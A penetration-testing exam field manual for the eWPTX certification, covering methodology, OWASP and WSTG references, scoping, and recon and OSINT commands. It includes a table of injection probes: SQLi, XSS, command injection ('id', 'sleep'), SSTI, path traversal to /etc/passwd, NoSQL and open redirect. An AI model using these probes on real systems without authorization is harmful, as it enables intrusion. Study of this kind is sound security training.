eWPTX — Exam Field Manual

Web Application Penetration Tester eXtreme (INE) — complete course notes + attack playbook

Built from the full Advanced Web Application Penetration Testing learning path (6 courses, 120 lessons, 41h 33m of video) plus the core web attack knowledge the exam assumes from eWPT.


0. Read This First

0.1 Exam facts

ItemValue
FormatHands-on practical lab, auto-graded
Questions45
Time limit18 hours
Passing score70% (≈ 32/45 correct)
RetakeOne free retake, must be used within 14 days, before voucher expiry
BrowserGoogle Chrome, extensions disabled (INE's own instruction)
ResultsAuto-graded, delivered within a few hours
Cert validity3 years

0.2 Domain weighting — where the points actually are

#DomainWeight≈ questionsSection in this file
5API Penetration Testing25%~11§5
2Web Application Reconnaissance15%~7§1
3Authentication Attacks15%~7§2
4Injection Vulnerabilities15%~7§3, §4
1Pentesting Methodology10%~4§1
6Server-Side Attacks10%~4§7
7Filter Evasion & WAF Bypass10%~4§6

The single biggest lever is API testing at 25%. If you are short on time, drill §5 hardest, then §2 and §3/§4. Recon at 15% is the cheapest domain to score — it is mostly "run the right tool, read the output".

0.3 How to use this file during the exam

  1. Ctrl+F is your interface. Search the error string, the header name, the DBMS name, the file extension — not the vulnerability class. Every payload block has a one-line comment above it describing what it does, so searching plain English works.
  2. Each section runs detect → confirm → exploit → escalate. Do not skip "confirm" — the exam asks for specific values (a flag, a hash, a username, a version string), so you need a working primitive, not a hunch.
  3. "Exam tips" blocks close every subsection. They name the first thing to try, the trap that eats the most time, and what evidence actually proves the finding.
  4. Payloads are copy-pasteable. When one fails, the surrounding table gives the alternates — work down the table rather than re-thinking from scratch.

0.4 Table of contents

§SectionWhat's in it
1Methodology, Planning & ReconnaissanceLifecycle, OWASP Top 10, WSTG IDs, scoping, ZAP/Burp setup, whois/DNS/dorks/theHarvester/EyeWitness/whatweb, HTTrack, crawling & scanning, session ID basics
2Authentication & Session Management AttacksUsername enum, password policy, lockout & CAPTCHA bypass, auth schema bypass, cookies, hijacking/fixation, CSRF, JWT, OAuth, 2FA/OTP
3SQL InjectionDetection, DBMS fingerprinting, error/union/boolean/time-based, per-DBMS payload sets, file read/write/RCE, full SQLMap reference
4Advanced & Non-SQL InjectionHeader SQLi, OOB SQLi, second-order SQLi, CVE workflow, NoSQL/MongoDB, LDAP, ORM/HQL, XML injection, XPath, XXE
5API & Web Service Penetration TestingSOAP/WSDL, hidden methods, REST/Swagger, GraphQL, OWASP API Top 10, BOLA/BFLA, mass assignment, parameter tampering, misconfig
6Encoding, Filter Evasion & WAF BypassEncoding reference, client/server filter bypass, XSS filter evasion, WAF fingerprinting, sqlmap tamper scripts, proxy/ACL bypass
7Server-Side AttacksModern architecture, SSRF (incl. cloud metadata, gopher, filter bypass), SSRF→RCE, PHP/Java/.NET/Python deserialization
8Core Web Attack ReferenceXSS, command injection, LFI/RFI, file upload, access control/IDOR, SSTI, open redirect/CORS/smuggling, race conditions
9Exam Day PlaybookTime budget, triage order, per-target workflow, note-taking, stuck protocol, final checklist
ASyllabus Progress ChecklistAll 120 lessons of the path, mapped to the sections above

0.5 The master workflow (memorise this shape)

Every target in the exam gets the same opening, and it takes under 15 minutes:

# 1. What is it? Fingerprint before you attack.
whatweb -a 3 http://TARGET
curl -sI http://TARGET                      # headers: Server, X-Powered-By, Set-Cookie, CSP
wafw00f http://TARGET                       # is there a WAF in the path?
# 2. What's there? Content discovery, always with the right extensions.
gobuster dir -u http://TARGET -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak,zip,old,json
curl -s http://TARGET/robots.txt http://TARGET/sitemap.xml
# 3. Is there an API? (25% of the exam — check this on EVERY target)
for p in /api /api/v1 /api/v2 /swagger.json /swagger-ui.html /openapi.json /api-docs \
         /graphql /graphiql /soap /services /ws /?wsdl /actuator /actuator/env; do
  printf '%s -> ' "$p"; curl -s -o /dev/null -w '%{http_code}\n' "http://TARGET$p"
done
  1. Proxy everything through Burp, browse the app manually as a normal user, then read the site map. The passive crawl is where the real attack surface appears.
  2. Enumerate the parameters, not the pages. Every GET/POST param, every cookie, every header (User-Agent, Referer, X-Forwarded-For, Host), every JSON field is an injection point.
  3. Pick the attack by context, using the section index above.

0.6 Injection point priority order

When you have a parameter and don't know what it's for, test in this order — cheapest and most likely first:

OrderTestProbePositive signal
1SQLi' then '' then 1' OR '1'='1SQL error, or behaviour change between the two
2XSS'"><svg onload=alert(1)>Payload reflected unencoded
3Command injection;id |id `id` $(id)uid= in response, or a delay with ;sleep 5
4SSTI${{<%[%'"}}%\ then {{7*7}}Error, or 49 in the response
5Path traversal / LFI../../../../etc/passwdroot:x:0:0
6SSRFhttp://127.0.0.1/ and a Collaborator URLDifferent response, or a DNS/HTTP hit
7NoSQLparam[$ne]=1 or {"$ne":null}Auth bypass or result-set change
8XXE / XML& alone, then a DOCTYPEXML parse error → parser is reachable
9IDORincrement/decrement the IDAnother user's data
10Open redirect / SSRF-lite//evil.com /\evil.com302 to your host

1. Methodology, Planning & Reconnaissance

1.1 Web App Security Testing vs Web App Penetration Testing

Web application security testing is the broad, all-encompassing process of evaluating a web application's security posture to find vulnerabilities, weaknesses and risks. Web application penetration testing is a subset of it — the part that actively exploits what was found in order to prove real risk. Exam-wise: if a question asks you to "verify" or "demonstrate impact", you are in the pentest subset and must produce a working proof of concept, not just a scanner alert.

AspectWeb App Security TestingWeb App Penetration Testing
ObjectiveIdentify vulnerabilities and weaknessesActively exploit identified vulnerabilities, assess response
FocusBroad; manual and automatedNarrow; identify + exploit, mainly manual
MethodologyDynamic + static assessments, many typesManual testing with tools simulating a real attack
ExploitationNatively no (can include pentest as a subset)Yes — controlled, authorised exploitation
ReportingVulnerabilities + remediation recommendationsSuccessful exploits + weaknesses + remediation
Testing approachMay include automated vulnerability scanningPrimarily manual, tool-assisted
Overall goalImprove overall security postureValidate effectiveness of existing controls and IR capability

Types of web application security testing

TypeWhat it doesWhere it sits
Vulnerability scanningAutomated tools scan for known vulns, insecure/mis-configurations, outdated software versionsEstablishes a security baseline before pentesting
Web app penetration testingSimulated real-world attack, ethical hacking, exploitationSubset of security testing
Code review / static analysis (SAST)Manual or tool-driven examination of source code for coding flaws and misconfigurationsWhite box; best done by someone fluent in that language/stack
Authentication & authorization testingEffectiveness of auth mechanisms and access controls / privilege levelsManual + tools
Input validation & output encoding testingHow user input is handled — XSS, SQLi, other injectionManual + fuzzing
Session management testingSession/token handling, fixation, hijacking, timeoutsManual + proxy
API security testingSecurity of APIs used for data exchange and integration (REST, SOAP)Own discipline

Analysis-technique shorthand you will see in OWASP material:

AcronymNameRuns againstTypical placement
SASTStatic Application Security TestingSource code / bytecode, app not runningCI/CD, pre-deployment
DASTDynamic Application Security TestingRunning application, black box (ZAP/Burp active scan)QA, staging, production
IASTInteractive Application Security TestingRunning application with an in-app agentIntegration/functional test runs
SCASoftware Composition AnalysisThird-party libraries and dependenciesCI/CD (maps to A06:2021)

OWASP A03:2021 explicitly states: source code review is the best method of detecting if applications are vulnerable to injections, and recommends automated testing of all parameters, headers, URLs, cookies, JSON, SOAP and XML inputs, with SAST/DAST/IAST integrated into the CI/CD pipeline.

Exam tips — 1.1

  • "Controlled exploitation" is the rule: go far enough to prove the flaw, never far enough to damage confidentiality, integrity or availability. Do not drop real malicious payloads, do not delete data, do not run a destructive web shell.
  • A scanner alert is not a finding. Manually verify every automated result to eliminate false positives and false negatives before you answer a question.
  • Record for every finding: the exact request, the exact response, the parameter, and the minimal PoC payload.

1.2 Web App Pentest Methodology & Lifecycle

Why a methodology matters

A web application's attack surface is far larger than a typical network host, so ad-hoc testing systematically misses tests. A methodology gives you:

  1. Consistency and standardization — repeatable procedures, tools and techniques across applications and projects.
  2. Comprehensive coverage — all critical components and functionality get assessed; fewer overlooked flaws.
  3. Efficiency and time management — prioritise high-risk areas, avoid redundant work, and delegate whole test categories to team members with clear start/end boundaries.
  4. Thorough identification of vulnerabilities — both common and rare.
  5. Risk prioritisation — assign risk levels based on impact to the application and the business, so stakeholders fix the right things first.
  6. Effective reporting and communication — structured findings readable by technical and non-technical stakeholders.
  7. Industry standards / compliance alignment — OWASP, NIST, PTES; compliance regimes (e.g. HIPAA for a medical institution) constrain which tests you may run.
  8. Legal and ethical compliance — respect rules of engagement, obtain written authorization; scope exists for jurisdictional and data-handling reasons, not just convenience.
  9. Detection of complex vulnerabilities — chained vulns often only surface when a prior misconfiguration is found first; a methodology surfaces stack-specific nuances (e.g. testing NoSQL injection, not just relational SQLi, because the back end may be a document or in-memory store).

The generalised lifecycle

#PhaseKey activities
1Pre-engagementDefine scope + objectives (target app, URLs, functionality). Obtain written authorization. Gather supplied info (technologies, user roles, business-critical functions) — white box only
2Information gathering & reconnaissancePassive recon of publicly available info; enumerate subdomains, directories, files; nmap for open ports/services; Google dorks for indexed files and directories
3Threat modelingAnalyse architecture and data flow; build an attack-surface model; identify and prioritise high-risk areas
4Vulnerability scanningAutomated scanners / Burp Suite / OWASP ZAP; then manually verify results to eliminate false positives and negatives
5Manual testing & exploitationInput validation, authentication bypass, authorization flaws, business logic; exploit to demonstrate impact and risk
6Authentication & authorization testingPassword policy, session management, account lockout, MFA presence, reset/verification email expiry; access controls on sensitive functionality and data
7Session management testingSession fixation, hijacking, token handling, session timeout settings
8Information disclosureHandling of passwords, user data, confidential files; leakage via error messages, server responses, weak access control
9Business logic testingLogic flaws leading to unauthorized access or data manipulation; order-related flaws, privilege escalation
10Client-side testingHTML/JavaScript review, DOM-based XSS, insecure client-side storage, sensitive data exposure
11ReportingDocument and prioritise vulns and risks; detailed report for devs and stakeholders with remediation; assist fixes; retest
12Post-engagement (optional)Debrief meeting with stakeholders; secure-coding awareness training if contracted

Industry methodologies

MethodologyNotes
OWASP WSTG (Web Security Testing Guide)The one to actually use for web apps. Structured, granular, test IDs, free, community-driven. See 1.4
PTES (Penetration Testing Execution Standard)Treated as a framework; covers pre-engagement → reporting → follow-up; has sub-methodologies for mobile, cloud, etc. Instructor is not a fan of its web-app approach
Penetration Testing FrameworkReferenced from the WSTG appendix; per-engagement-type methodologies
OWASP MASTG / MSTGMobile Security Testing Guide
OWASP FSTMFirmware Security Testing Methodology
NISTUnderpins several compliance-driven test programs

Exam tips — 1.2

  • Start every lab by locating the app and building a site map — you cannot exploit what you have not mapped.
  • Common trap: assuming a relational database. If SQLi payloads fail, test NoSQL injection before concluding "not vulnerable".
  • Second common trap: stopping at the first vulnerability. Chains are what the exam rewards — a misconfiguration that reveals a file that reveals a credential.
  • Keep a running log (spreadsheet or notes) of every endpoint, parameter and payload you tried, with the response, so you can answer questions without re-testing.

1.3 OWASP Top 10 (2021 — current release as taught)

The OWASP Top 10 is not a methodology — it is a regularly updated, statistically derived awareness document ranking the most critical web application security risks. First released 2003; updated roughly every four years. Built on a hybrid of a data call to contributing organisations (2017 covered ~114,000 applications; 2021 more than double) which determines 8 of the 10 categories, plus a community survey which supplies the other 2 (this is how A10 SSRF got in). Each release builds on the last; a category moving down the list does not mean the risk decreased — only that its frequency in that data window changed.

Categories are prefixed A and referenced as A03:2021 (or A03-2021). Use that reference in your report so the developer can jump straight to the OWASP page.

A01–A10 (2021)

IDCategoryNotes taught
A01:2021Broken Access ControlMoved up from #5. 34 CWEs mapped — more occurrences than any other category. 94% of apps tested for some form of it. High max incidence rate, slightly lower weighted impact than injection
A02:2021Cryptographic FailuresRenamed from Sensitive Data Exposure (which described a symptom, not a root cause)
A03:2021InjectionSlid down from #1. 33 CWEs mapped, second-most occurrences. 94% of apps tested. Cross-Site Scripting is now part of this category. Low average incidence rate but very high weighted impact
A04:2021Insecure DesignNew. Design/architecture flaws that no amount of perfect implementation fixes
A05:2021Security MisconfigurationMoved up from #6. XXE (2017 A4) is now folded into this category
A06:2021Vulnerable and Outdated ComponentsRenamed from Using Components with Known Vulnerabilities; moved #9 → #6. Third-party plugins and libraries
A07:2021Identification and Authentication FailuresRenamed from Broken Authentication; dropped #2 → #7
A08:2021Software and Data Integrity FailuresNew. Insecure Deserialization (2017 A8) folded in here; CI/CD and update-integrity failures
A09:2021Security Logging and Monitoring FailuresRenamed from Insufficient Logging & Monitoring; #10 → #9
A10:2021Server-Side Request Forgery (SSRF)New, added from the community survey

2017 → 2021 mapping (know this — mis-citing a version in a report is the trap the instructor calls out)

20172021 destination
A1 InjectionA03 Injection
A2 Broken AuthenticationA07 Identification and Authentication Failures
A3 Sensitive Data ExposureA02 Cryptographic Failures
A4 XML External Entities (XXE)A05 Security Misconfiguration
A5 Broken Access ControlA01 Broken Access Control
A6 Security MisconfigurationA05 Security Misconfiguration
A7 Cross-Site Scripting (XSS)A03 Injection
A8 Insecure DeserializationA08 Software and Data Integrity Failures
A9 Using Components with Known VulnerabilitiesA06 Vulnerable and Outdated Components
A10 Insufficient Logging & MonitoringA09 Security Logging and Monitoring Failures

Summary: 3 new categories (A04, A08, A10), 4 with naming/scoping changes, plus consolidation.

What each category page gives you

Per-category statistics you can read off the OWASP page: CWEs mapped, max incidence rate, average incidence rate, average weighted exploit, average weighted impact, max coverage, average coverage, total occurrences, total CVEs. Then: overview, description (what causes it), how to prevent, example attack scenarios, references, and the CWE list.

Use these as attacker intelligence: a low average incidence but high weighted impact (injection) tells you it is rarer but devastating; high incidence with slightly lower impact (broken access control) tells you to always test it because you will usually find something.

OWASP risk rating model (used by the Top 10 and the WSTG calculator)

Risk = Likelihood × Impact. Each factor is scored 0–9; likelihood is the average of the 8 likelihood factors, impact the average of the 8 impact factors.

GroupFactors
Threat agent factorsSkill level (required skills / security-penetration skills), Motive (low or no reward → possible reward → high reward), Opportunity (full access or expensive resources required → no access or resources required), Size (developers/admins → intranet users → partners → authenticated users → anonymous internet users)
Vulnerability factorsEase of discovery (practically impossible → difficult → easy → automated tools available), Ease of exploit, Awareness (unknown → hidden → obvious → public knowledge), Intrusion detection (active detection in app → logged and reviewed → logged without review → not logged)
Technical impactLoss of confidentiality (minimal non-sensitive data → extensive critical data → all data disclosed), Loss of integrity, Loss of availability (minimal secondary services → extensive primary services → all services lost), Loss of accountability (fully traceable → completely anonymous)
Business impactFinancial damage, Reputation damage (e.g. loss of major accounts), Non-compliance (minor → clear violation → high-profile violation), Privacy violation (one individual → hundreds → thousands → millions)

Overall risk severity is read from the likelihood × impact matrix: Note / Low / Medium / High / Critical.

The Top 10 PDF prints a per-risk summary table with columns: Threat Agents, Attack Vectors (Exploitability), Security Weakness (Prevalence), Security Weakness (Detectability), Impacts (Technical), Impacts (Business). Business impact is always application specific — you must calculate it yourself.

Worked example (SQL injection, as taught): skills = some technical skills; motive = high reward; opportunity = no access or resources required; size = anonymous internet users; ease of discovery = automated tools available; ease of exploit = easy; awareness = public knowledge; intrusion detection = logged without review → likelihood 7. Confidentiality = extensive critical data; integrity = high loss; availability = extensive primary services (attacker can drop tables); accountability = completely anonymous; financial = significant; reputation = loss of major accounts; non-compliance = high-profile violation; privacy = thousands of people → overall severity: Critical.

Exam tips — 1.3

  • Memorise the A-numbers of 2021. Questions phrased "which OWASP category" expect A0X:2021, not the 2017 number.
  • Remember the two consolidations: XSS → A03 Injection, XXE → A05 Security Misconfiguration, and Insecure Deserialization → A08.
  • Evidence to record: CWE ID, OWASP category, affected URL/parameter, likelihood score, impact score, overall severity.

1.4 OWASP Web Security Testing Guide (WSTG) & Checklist

The WSTG is the community-driven OWASP testing framework for web applications — the practical, hands-on reference for planning, executing and reporting a web app security test. Stable release taught: v4.2 (v5 in development). The PDF is ~465 pages and free (CC BY-SA — attribution + share-alike).

Where to get it

  • Project page → sidebar: latest online version, per-release change logs, PDF download.
  • v4.2 change log: "introduces new testing scenarios, updates existing chapters, offers an improved writing style and chapter layout."
  • GitHub repo (OWASP/wstg) → checklists/ folder → Excel workbook, also available in Markdown and Google Sheets.

Guide structure

  1. Introduction — testing project and objectives, principles of testing, testing techniques explained, manual inspections and reviews, threat modeling, source code review, penetration testing, the need for a balanced approach, deriving security test requirements, security tests in dev/test workflows, data analysis and reporting.
  2. The OWASP Testing Framework — phases: before development begins, during definition and design, during development, during deployment, during maintenance and operations; SDLC testing workflow; penetration testing methodologies.
  3. Web Application Security Testing — the test categories below.
  4. Reporting — version control, table of contents, the team, scope, limitations, timeline, disclaimer, executive summary, findings structure.
  5. Appendix — testing tools resource (ZAP, Burp Suite, Burp Proxy browser add-on, Firefox, Tamper Data, Cookie Editor, sqlmap, commercial black-box tools) and fuzz vectors.

Test ID format: WSTG-<CATEGORY>-<NN> e.g. WSTG-INFO-03, WSTG-INPV-05. Cite the ID in your report — the dev/security team can resolve it instantly without you pasting the whole description.

WSTG v4.2 categories and test-ID ranges

Category IDCategoryTestsRepresentative tests
WSTG-INFOInformation Gathering01–1001 Search engine discovery recon for information leakage; 02 Fingerprint web server; 03 Review webserver metafiles (robots.txt, sitemap.xml); 04 Enumerate applications on webserver; 05 Review webpage content for information leakage; 06 Identify application entry points; 07 Map execution paths; 08 Fingerprint web application framework; 10 Map application architecture
WSTG-CONFConfiguration and Deployment Management Testing01–1101 Network infrastructure config; 02 App platform config; 03 File extensions handling; 04 Old backup / unreferenced files; 05 Admin interfaces; 06 Test HTTP methods; 07 HSTS; 08 RIA cross-domain policy; 09 File permissions; 10 Subdomain takeover; 11 Cloud storage
WSTG-IDNTIdentity Management Testing01–0501 Role definitions; 02 User registration; 03 Account provisioning; 04 Account enumeration / guessable accounts; 05 Weak or unenforced username policy
WSTG-ATHNAuthentication Testing01–1001 Credentials over encrypted channel; 02 Default credentials; 03 Weak lockout mechanism; 04 Bypassing authentication schema; 05 Vulnerable remember-password; 06 Browser cache weaknesses; 07 Weak password policy; 08 Weak security question/answer; 09 Weak password change/reset; 10 Weaker auth in alternative channel
WSTG-ATHZAuthorization Testing01–0401 Directory traversal / file include; 02 Bypassing authorization schema; 03 Privilege escalation; 04 Insecure direct object references (IDOR)
WSTG-SESSSession Management Testing01–0901 Session management schema; 02 Cookie attributes; 03 Session fixation; 04 Exposed session variables; 05 CSRF; 06 Logout functionality; 07 Session timeout; 08 Session puzzling; 09 Session hijacking
WSTG-INPVInput Validation Testing01–1901 Reflected XSS; 02 Stored XSS; 03 HTTP verb tampering; 04 HTTP parameter pollution; 05 SQL injection (sub-tests for MySQL, SQL Server, PostgreSQL, MS Access, Oracle, NoSQL/MongoDB, ORM, client-side); 06 LDAP injection; 07 XML injection; 08 SSI injection; 09 XPath injection; 10 IMAP/SMTP injection; 11 Code injection; 12 Command injection; 13 Format string; 14 Incubated vulnerability; 15 HTTP splitting/smuggling; 16 HTTP incoming requests; 17 Host header injection; 18 Server-side template injection; 19 SSRF
WSTG-ERRHError Handling01–0201 Improper error handling; 02 Stack traces
WSTG-CRYPCryptography01–0401 Weak transport layer security; 02 Padding oracle; 03 Sensitive info over unencrypted channels; 04 Weak encryption
WSTG-BUSLBusiness Logic Testing01–0901 Business logic data validation; 02 Ability to forge requests; 03 Integrity checks; 04 Process timing; 05 Function-use limits; 06 Circumvention of workflows; 07 Defenses against application misuse; 08 Upload of unexpected file types; 09 Upload of malicious files
WSTG-CLNTClient-side Testing01–1301 DOM-based XSS; 02 JavaScript execution; 03 HTML injection; 04 Client-side URL redirect; 05 CSS injection; 06 Client-side resource manipulation; 07 CORS; 08 Cross-site flashing; 09 Clickjacking; 10 WebSockets; 11 Web messaging; 12 Browser storage; 13 Cross-site script inclusion
WSTG-APITAPI Testing0101 Testing GraphQL

Each test page follows the same shape: Summary → Test Objectives → How to Test → Tools → Remediation → References. That is your mid-exam playbook for any technique you have forgotten.

The WSTG checklist spreadsheet

Four worksheets in the official v4.2 workbook:

WorksheetPurpose
Testing ChecklistOne row per WSTG test, grouped by category, with the test ID; track status (pass / issue / not applicable) and notes
Summary FindingsTable of outcomes: # of findings, vulnerability name, WSTG/OTG ID, affected host or path (URL), impact, likelihood, risk, observation & implication, recommendation
Risk Assessment CalculatorDrop-down ribbon sheet implementing the OWASP likelihood/impact factors → qualitative overall risk rating, incl. the impact × likelihood matrix
ReferencesSource links

How to drive it during an engagement

  1. After scope is agreed, colour the rows you will run (e.g. light blue/green) and grey out the rows that are out of scope. Do not delete them — you may need to justify exclusions.
  2. Work top to bottom by category. Set status and paste notes/links per row as you go.
  3. When a test finds something, add a row to Summary Findings and compute severity in the Risk Assessment Calculator.
  4. Useful extra columns to add yourself: tools to use (e.g. nikto / dirsearch / ffuf), CWE ID, OWASP Top 10 2021 mapping, result, affected item, status, reference/PoC (test evidence). Splitting each WSTG category onto its own sheet makes large engagements navigable.

Exam tips — 1.4

  • The WSTG checklist is explicitly recommended as an exam aid — use it to stay organised across 45 questions and 18 hours. Tick off what you have tested per host so you do not re-test.
  • Ensure the checklist version matches the guide version you cite (4.2 ↔ 4.2). IDs shifted between 4.0 and 4.2.
  • When you are stuck on a lab, open the matching WSTG test page and read How to Test — it lists the exact technique and tooling.
  • Evidence to record per test: WSTG ID, URL/parameter, request/response pair, outcome.

1.5 Pre-Engagement Phase

The phase before any packet is sent: the tester and the client agree on legal and technical details governing execution and outcomes. Testing without signed authorization makes you legally culpable.

The documents / agreement areas

AreaWhat it fixes
Goals & objectivesWhat the client wants out of the test; drives everything downstream
ScopeWhat you may test (in scope) and what you may not (out of scope) — specific web applications, URLs, functionality. Derived from the goals, never before them
Timelines & milestonesDerived from goals + scope; realistic only if you are following a methodology
Liabilities & responsibilitiesWho carries what risk
Authorized actionsExplicit permitted/forbidden actions (e.g. "no web shells on file upload", "no denial of service", "no tool X")
Expectations & deliverablesWhat the client expects, and what you will hand over (methodology used, outcomes reported either way)
Statement of Work (SOW)The commercial/financial wrapper
NDAProtects sensitive information and confidentiality (when required)
Rules of Engagement (RoE)Testing schedule, testing hours, communication channels, escalation procedures, constraints, required reference frameworks (e.g. "use OWASP Top 10 / WSTG")

Pre-engagement steps in order

  1. Understand project objectives/goals — why now, prior incidents, target posture.
  2. Scope definition — in-scope apps/URLs/functionality; explicit out-of-scope systems and networks; boundaries and limitations.
  3. Authorization & legal requirements — signed authorization from someone empowered to sign (CTO / CIO / CISO / application owner); confirm compliance with legal and regulatory requirements.
  4. Rules of engagement — constraints, guidelines, schedule, hours, comms, escalation.
  5. Communication & coordination — channels with IT, dev teams and management (weekly meetings, Slack/Teams channel); coordinate to minimise disruption to production.
  6. Contracts & disclosure agreements — contracts, NDAs.
  7. Scoping meeting — second pass: confirm or amend the agreed scope with stakeholders before work starts.
  8. Preparation of tools and resources — tools, licences, VMs, VPS/cloud infrastructure for black-box testing, shared tracking spreadsheet, everyone on the same proxy/tooling.
  9. Risk assessment & acceptance — assess potential impact of the test itself; obtain management's written acceptance of those risks.
  10. Engagement kick-off — confirm start date and timeline, distribute RoE to the testing team.

Black box vs white box: in white box the client supplies technologies, user roles and business-critical functionality up front; in black box you go in blind and item 3 of the pre-engagement information list does not apply.

Exam tips — 1.5

  • Treat the exam's target list as the scope. Anything not listed — other subnets, the exam portal, third-party CDNs and libraries — is out of scope; do not waste time there.
  • Third-party assets loaded by the app (JS libraries, style sheets, external APIs) are by default out of scope even though they appear in your proxy's site tree.
  • Record scope boundaries in your notes before you start so a finding on the wrong host does not cost you a question.

1.6 Defining Scope: Burp Target Scope & ZAP Context

Scope in the proxy is the mechanical implementation of the engagement scope. It keeps the site tree clean, stops you attacking out-of-scope hosts and limits passive/active scanning.

Burp Suite — Target → Scope

# Burp menu path: Target tab -> Scope sub-tab -> "Include in scope" -> Add -> paste host/URL prefix
# Then: Target -> Site map -> filter bar -> "Show only in-scope items"
# Also: Proxy -> Options/Settings -> Intercept Client Requests -> "And URL is in target scope"

Quick way in the lab: browse the target once through the proxy, then right-click the host in the site map → Add to scope.

OWASP ZAP — Contexts

ZAP calls its scope a Context. Think of contexts as silos: one per application/scope grouping, useful for large engagements.

Modes (top-left dropdown): Safe (no potentially dangerous operations), Protected (attacks only allowed against URLs in scope), Standard, Attack (auto-attacks anything in scope). Use Protected when you must not stray outside scope.

# ZAP menu path: Sites tree -> right-click the target site -> Include in Context -> Default Context
# Regex form inside the dialog, e.g. include the domain and all its subdomains:
https?://([^/]*\.)?example\.com.*

Other steps and controls:

StepWhere
Show only in-scope URLsThe bullseye / target icon in the toolbar (toggles "Show only URLs in scope")
Exclude a subdomain or URLRight-click → Exclude from Context, or double-click the context → Exclude from Context
Inspect/edit a contextDouble-click the context in the tree → Include in Context / Exclude from Context / Structure / Technology / Authentication / Users / Forced User / Session Management / Authorization / Alert Filters
Launch tooling against an in-scope nodeRight-click node → Attack → Active Scan, Forced Browse site, Forced Browse directory, Forced Browse directory and children, AJAX Spider, Spider, Fuzz
Manual browsing into the contextManual Explore → select the site → launches the ZAP browser with passive crawling on

Never launch a scan at the context level — always launch it against a specific site or URL node.

Exam tips — 1.6

  • First action in any ZAP/Burp lab: set the scope, then toggle the in-scope-only filter. Your site map becomes readable immediately.
  • Trap: a clean-looking site tree full of CDN/analytics/JS-library hosts. Those are third-party and out of scope — filter them out rather than testing them.
  • In ZAP, Protected mode prevents accidental attacks on out-of-scope hosts; switch to Standard only when you need the scanner.

1.7 Website Recon & Footprinting (Passive)

Footprinting is reconnaissance narrowed to information pertinent to the specific target. What you are hunting:

  • IP address of the web server hosting the site (and whether a proxy/WAF fronts it)
  • Directories hidden from search engines
  • Names, email addresses, phone numbers, physical addresses
  • Web technologies in use
  • Subdomains and additional hosts

Resolve the host

# DNS lookup: resolve a domain to its A / AAAA / MX records
host hackersploit.org

Reading the output: two or more A records for a site that should have one is a strong sign of a proxy/WAF in front (Cloudflare, Sucuri). host also returns IPv6 (AAAA) addresses and the MX records, which give you the mail provider/domain.

# Show a one-line description of any Linux command (use when you forget a tool's purpose)
whatis host
# Registrar / registrant / nameserver / creation-expiry data for a domain
whois hackersploit.org
# Targeted DNS record lookups
dig hackersploit.org A
dig hackersploit.org MX
dig hackersploit.org TXT
dig hackersploit.org NS
# Attempt a DNS zone transfer against a nameserver (classic misconfiguration; zonetransfer.me is the public practice target)
dig axfr zonetransfer.me @nsztm1.digi.ninja

Web server metafiles (WSTG-INFO-03)

robots.txt tells crawlers which paths not to index — which is exactly why it is an attacker's index of interesting paths. Almost every site has one and it must be publicly readable.

# Fetch robots.txt and read the Disallow entries
curl -s https://target.tld/robots.txt

What to look for: Disallow: /wp-admin/ immediately fingerprints WordPress and points at the admin directory; plugin paths; backup, staging, /admin, /api, /includes entries.

sitemap.xml (sometimes sitemaps.xml, or listed inside robots.txt) is the crawler's organised index of the site. On a WordPress/Yoast site it splits into post, page, category and author sitemaps.

# Fetch the sitemap index and enumerate every indexed URL
curl -s https://target.tld/sitemap.xml

What to look for: pages not linked from the front end, hidden categories, and the author sitemap, which enumerates valid usernames on a WordPress blog — feed those into username enumeration and password attacks later.

Related metafiles worth checking: /sitemap_index.xml, /.well-known/security.txt, /crossdomain.xml, /clientaccesspolicy.xml.

Subdomain enumeration (passive sources)

SourceHow
Googlesite:*.target.com (see 1.10)
BuiltWithIts Relationship / subdomains view lists subdomains for the domain
theHarvester-b crtsh,otx,rapiddns,urlscan,bing,duckduckgo (see 1.8)
Certificate transparencycrt.sh — certificates leak internal hostnames
DNS aggregatorsurlscan.io, AlienVault OTX, RapidDNS, VirusTotal, SecurityTrails (several need an API key)

WAF / proxy detection

# Identify the web application firewall in front of a target
wafw00f https://target.tld

# Run every WAF detection signature rather than stopping at the first match
wafw00f -a https://target.tld

# List all WAFs wafw00f can fingerprint
wafw00f -l

Header-level tells: CF-RAY, cf-cache-status, Server: cloudflare → Cloudflare; X-Sucuri-ID → Sucuri; X-CDN/X-Cache → CDN in front of origin.

JavaScript file analysis

Client-side JS is source code the application hands you. After crawling, pull every .js file and grep it.

# Extract every .js reference from a page
curl -s https://target.tld | grep -oE 'src="[^"]+\.js"' | cut -d'"' -f2
# Grep a downloaded copy of the site for API endpoints, keys and secrets in JavaScript
grep -rniE "api[_-]?key|secret|token|authorization|bearer|password|/api/|endpoint" ./target.tld --include="*.js"

What to look for: hardcoded API keys and tokens, internal/undocumented API endpoints, admin routes, commented-out code, debug flags, version strings of vulnerable JS libraries (feeds A06:2021), and developer comments revealing infrastructure.

Exam tips — 1.7

  • robots.txt and sitemap.xml are the two cheapest wins on any target — check them before anything else. Disallowed paths are a to-do list.
  • The author sitemap / WordPress author archives is a username-enumeration source; record every username you find.
  • Trap: two A records ≠ two servers. It usually means a proxy; do not report the CDN's IP as the origin.
  • Evidence to record: resolved IPs, MX records, every path from robots.txt/sitemap, every subdomain, WAF name.

1.8 OSINT: theHarvester, EyeWitness, Leaked Password Databases

theHarvester — emails, subdomains, hosts, IPs

Open-source OSINT tool that automates passive reconnaissance by querying search engines and public data repositories to map a domain's external threat landscape. Pre-installed on Kali.

# Kali package name still uses the lowercase spelling; the binary is capital-H
sudo apt install theharvester

Running theharvester (lowercase h) prints a Kali deprecation notice — the correct binary is theHarvester.

# Show every option and, critically, the full list of available sources/modules
theHarvester -h
FlagMeaning
-dDomain or company name to search
-lLimit the number of search results (default 500)
-SStart with result number N (default 0)
-bSource(s)/module(s) to query — comma-separated list, no spaces
-fSave results to a file (HTML/JSON/XML)
-sUse Shodan to query discovered hosts (crosses into active territory)
--screenshotScreenshot resolved domains into a directory
-vVerify hostname via DNS resolution and search for virtual hosts
-eDNS server to use for lookups
-tCheck discovered subdomains for domain takeover
-rPerform DNS resolution on subdomains to see which are actually reachable
# Passive email + host harvest for a domain using search-engine sources only
theHarvester -d ine.com -b bing,baidu,duckduckgo,yahoo
# Wider passive sweep across search engines and public data repositories
theHarvester -d zonetransfer.me -b bing,baidu,duckduckgo,yahoo,urlscan,crtsh,otx,rapiddns
# Harvest, resolve the discovered subdomains, and save the report
theHarvester -d target.tld -l 500 -b crtsh,otx,rapiddns,urlscan -r -f target_harvest

